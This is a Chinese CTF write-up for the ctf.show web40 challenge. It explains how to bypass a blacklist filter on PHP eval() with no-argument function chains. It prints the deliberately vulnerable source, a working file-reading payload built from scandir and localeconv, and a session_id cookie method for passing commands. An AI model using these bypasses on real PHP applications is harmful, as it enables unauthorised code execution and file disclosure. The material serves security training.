天天看點

ctf.show_web40(指令執行)

web40無參數RCE繞過

源碼

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
           

大佬的wp

利用無參數RCE的姿勢

一個坑的地方就是括号:

并不是(),而是()

參考:PHP Parametric Function RCE

方法一

讀檔案+數組改造

先把payload寫下

?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
           

需要用到的函數

localeconv():傳回一包含本地數字及貨币格式資訊的數組。其中數組中的第一個為點号(.)

scandir():擷取目錄下的檔案,scandir(.):擷取目前目錄下所有檔案

pos():傳回數組中的目前元素的值。

array_reverse():數組逆序

next(): 函數将内部指針指向數組中的下一個元素,并輸出。

highlight_file():函數進行檔案内容的讀取,并輸出

解答

00x1

首先通過 pos(localeconv())得到點号(.)

該方法還有如下函數可以進行替換

dirname(_FILE_)
current(localeconv()
reset(localeconv()
pos(localeconv()
getcwd()
           

因為scandir(’.’)表示得到目前目錄下的檔案,是以

scandir(pos(localeconv()))就能得到根目錄的檔案了。

具體内容如下

ctf.show_web40(指令執行)

00x2

然後得到的檔案數組結果,發現想要擷取的檔案排序在後面,這時候可以調整檔案指針,用

array_reverse()函數,将輸出檔案反向排序

ctf.show_web40(指令執行)

00x3

next(): 函數将内部指針指向數組中的下一個元素,并輸出。

想要輸出指定的指針檔案,next()函數需要配合highlight_file()函數進行檔案的輸出

ctf.show_web40(指令執行)

方法二

利用session_id()

剛開始的時候利用session_id(),修改下cookie中的PHPSESSID 内容為ls

ctf.show_web40(指令執行)

但是在進步傳參為flag是無法進行檔案讀取

ctf.show_web40(指令執行)

具體的原因分析

來自: https://blog.csdn.net/miuzzx/article/details/108415301

經過測試發現,受php版本影響 5.5 -7.1.9均可以執行,因為session_id規定為0-9,a-z,A-Z,-中的字元。在5.5以下及7.1以上均無法寫入除此之外的内容。但是符合要求的字元還是可以的。

受到PHP版本的限制。

繼續閱讀